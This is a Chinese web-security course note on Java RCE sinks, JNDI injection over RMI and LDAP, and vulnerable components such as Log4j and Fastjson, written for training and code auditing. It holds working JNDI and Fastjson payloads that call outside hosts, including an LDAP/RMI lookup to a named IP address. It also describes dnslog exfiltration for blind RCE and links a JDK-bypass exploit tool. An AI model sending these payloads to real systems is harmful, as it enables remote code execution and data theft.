Day67:WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

目录

Java安全-RCE执行-5大类函数调用

Groovy

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManage

黑盒测试-RCE

白盒测试-RCE

Java安全-JNDI注入-RMI&LDAP&版本

JNDI原生漏洞-靶场演示

JNDI注入原理

lookup实现分析

JNDI注入安全防御

JNDI注入漏洞利用条件

高版本JDK下的JNDI注入绕过

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

Shiro

Jackson

Fastjson

XStream

白盒审计-FastJson

白盒审计-Log4j

不回显常见判断通用方法


知识点:
1、Java安全-RCE执行-5大类函数调用

2、Java安全-JNDI注入-RMI&LDAP&高版本

3、Java安全-不安全组件-Shiro&FastJson&JackJson&XStream&Log4j

Java安全-RCE执行-5大类函数调用

Java中代码执行的类:

  • Groovy
  • RuntimeExec
  • ProcessImpl
  • ProcessBuilder
  • ScriptEngineManager

检测:(大部分白盒)

黑盒看参数名和参数值

白盒看类函数名和可控变量

Groovy

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManage

在java8后就没了eval函数,仅作参考

黑盒测试-RCE

黑盒看参数名和参数值

白盒测试-RCE

白盒看类函数名和可控变量(大部分白盒)

Java安全-JNDI注入-RMI&LDAP&版本

JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

为了在命名服务或目录服务中绑定 Java 对象,可以使用 Java 序列化来传输对象,但有时候不太合适,比如 Java 对象较大的情况。因此 JNDI 定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中

引用由 Reference 类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的 Java 类名,以及用于创建对象的 ObjectFactory 类的名称和位置

Reference 可以使用 ObjectFactory 来构造对象。当使用lookup()方法查找对象时, Reference 将使用提供的 ObjectFactory 类的加载地址来加载 ObjectFactory 类, ObjectFactory 类将构造出需要的对象

Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化

当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类

Reference类常用构造函数如下:

java 复制代码
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名,加载的class中需要实例化类的名称
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className,  String factory, String factoryLocation) 

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址

在命名服务中,有几个重要的概念:

Bindings:表示一个名称和对应对象的绑定关系,比如在 DNS 中域名绑定到对应的

IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件

Context:上下文,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)

References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态

目录服务(Directory Service)

目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象

javax.naming.InitialContext.lookup();用于在Java命名和目录接口(JNDI)中查找命名对象的方法。

在RMI服务中调用了InitialContext.lookup()的类有:

java 复制代码
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有

java 复制代码
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:无黑盒思路;白盒看类函数名和可控变量

JNDI调用RMI或者LDAP在发送和接收数据时都会对数据进行序列化和反序列化操作

JNDI原生漏洞-靶场演示

JNDI本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

JNDI注入原理

参考文章:https://dahezhiquan.blog.csdn.net/article/details/136459856

实现复现,使用Java版本:不要超过 java 1.8_133 之后,可能会有影响,去Oracle官网下载

JNDI在调用RMI以及LDAP服务时如果不对远程访问的地址进行过滤的话且参数可控,攻击者构造一个恶意的类,就会被远程访问并且代码执行。

接口IHello.java

java 复制代码
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}

RMI_Server.java

java 复制代码
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server {

    public class RMIHello extends UnicastRemoteObject implements IHello {
        protected RMIHello() throws RemoteException{
            super();
        }

        @Override
        public String sayHello(String name) throws RemoteException {
            System.out.println("Hello World!-..-");
            return name;
        }
    }

    private void register() throws Exception{
        RMIHello rmiHello=new RMIHello();
        // 指定的端口(这里为9999)创建RMI注册表。
        // 在该端口上启动RMI注册表后,其他远程对象可以通过该端口来注册和查找服务。
        LocateRegistry.createRegistry(9999);
        // 将一个远程对象(在这里是rmiHello)绑定到指定的命名位置的方法调用。
        // 其他远程对象可以通过使用相同的名称来查找并访问该远程对象
        Naming.bind("rmi://127.0.0.1:9999/hello",rmiHello);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server().register();
    }
}

JNDI_RMI.java

java 复制代码
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class JNDI_RMI {
    public static void main(String[] args) throws Exception {

        // 设置JNDI环境变量
        Hashtable<String, String> env = new Hashtable<>();
        // // Context.INITIAL_CONTEXT_FACTORY:指定了JNDI的初始上下文工厂类,这里是com.sun.jndi.rmi.registry.RegistryContextFactory,用于创建RMI注册表的初始上下文。
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        // Context.PROVIDER_URL:指定了RMI注册表的URL,这里是rmi://localhost:9999,表示要连接到本地地址的9999端口上的RMI注册表。
        env.put(Context.PROVIDER_URL, "rmi://localhost:9999");


        //初始化上下文
        Context initialContext = new InitialContext(env);

        //调用远程类
        IHello ihello = (IHello) initialContext.lookup("hello");
        System.out.println(ihello.sayHello("tomc"));

    }
}

JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用

JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示:

原理:

  1. 客户端通过lookup()方法,注入了rmi协议,访问了远程的rmi服务器
  2. rmi服务器返回了引用对象,而引用对象包含了类的加载工厂
  3. 如果本地没有这个类,就去加载工厂加载类的字节码
  4. 加载工厂是黑客远程的某个vps主机端口,目录下有payload.class文件
  5. 客户端再去访问恶意vps的端口,去下载payload.calss的字节码
  6. 然后客户端Class.forName加载了这个字节码,造成了payload.class这个类里面的静态代码被执行,造成RCE

lookup实现分析

对lookup()函数下断点,IDEA调试器提示帧不可用

右击lookup()转到lookup()方法在InitialContext类里的实现下断点,成功断下来了,再步入成功进入到lookup()的实现里

可以跟进去,你会得到lookup()的所有细节,但是对JNDI代码审计没啥作用

如果想看看lookup干了啥,可以参考这位大佬的文章:https://dahezhiquan.blog.csdn.net/article/details/136459856

JNDI注入安全防御

正则拦截

java 复制代码
public String safe(String content) {
    // 使用正则表达式限制参数的值
    // 只能包含字母、数字、下划线、连字符和句点
    if (content.matches("^[\\w\\.-]+$")) {
        try {
            Context ctx = new InitialContext();
            ctx.lookup(content);
        } catch (Exception e) {
            log.warn("JNDI错误消息");
        }
        return HtmlUtils.htmlEscape(content);
    } else {
        return "JNDI 正则拦截";
    }
}

白名单拦截

java 复制代码
public String safe2(String content) {
    List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");
    if (whiteList.contains(content)) {
        try {
            Context ctx = new InitialContext();
             ctx.lookup(content);
         } catch (Exception e) {
             log.warn("JNDI错误消息");
         }
        return HtmlUtils.htmlEscape(content);
    } else {
        return "JNDI 白名单拦截";
    }
}

JNDI注入漏洞利用条件

在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类

高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject

java 复制代码
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at JNDI_Dynamic.main(JNDI_Dynamic.java:7)
 
Process finished with exit code 1

但是有一种情况就是对方使用了高版本的jdk,然后该工具全部的payload都不行怎么办?

高版本JDK下的JNDI注入绕过

浅析高低版JDK下的JNDI注入及绕过 [ Mi1k7ea ]

Mi1k7ea大佬给出了两个思路:

  • 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  • 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制,但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的。

大佬找到的是这个org.apache.naming.factory.BeanFactory类,其满足上述条件并存在于Tomcat依赖包中,应用广泛。该类的getObjectInstance()函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。具体利用参文章

利用工具:https://github.com/welk1n/JNDI-Injection-Bypass

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

黑盒测试不安全组件漏洞:见后续章节漏洞复现利用课程

Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了。

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞:https://avd.aliyun.com/search?q=Shiro

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

历史漏洞:https://avd.aliyun.com/search?q=Jackson

Fastjson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

XStream

开源Java类库,能将对象序列化成XML或XML反序列化为对象

历史漏洞:https://avd.aliyun.com/search?q=XStream

白盒审计-FastJson

审计思路:
1、看引用组件版本及实现

JSON.parse() JSON.parseObject()

2、找可控变量及访问实现

admin/product propertyJson

3、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

源码搭建

看引用组件版本及代码实现

漏洞函数

java 复制代码
JSON.parse()
JSON.parseObject()

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)

找可控变量及访问实现

java 复制代码
admin/product propertyJson

测试出网回显调用访问

java 复制代码
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

白盒审计-Log4j

白盒审计思路:
1、看引用组件版本及实现

logger.info logger.error

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

3、测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}

${jndi:rmi://47.94.236.117:1099/l6v1wz}

看引用组件版本及实现

java 复制代码
logger.info 
logger.error

找可控变量及访问实现

java 复制代码
admin/uploadAdminHeadImage originalFileName

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)

测试出网回显调用访问

java 复制代码
${jndi:ldap://jebqzwhwtn.dnstunnel.run}

一个一个试(因为不知道源码项目用的什么java版本运行)

不回显常见判断通用方法

1 、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。

3、接将命令执行结果回显到请求Poc的HTTP响应中。

不回显常见判断细节方法:

例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw

相关推荐
l1x1n04 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
guanyue.space8 小时前
网站可疑问题
web安全
小小工匠10 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
鲨鱼辣椒丶D12 小时前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
火红的小辣椒1 天前
XSS基础
android·web安全
Z3r4y1 天前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小镇航海家1 天前
红日靶场1学习笔记
网络·笔记·学习·web安全·渗透测试
你怎么睡得着的!2 天前
【web安全】——XSS漏洞
安全·web安全·xss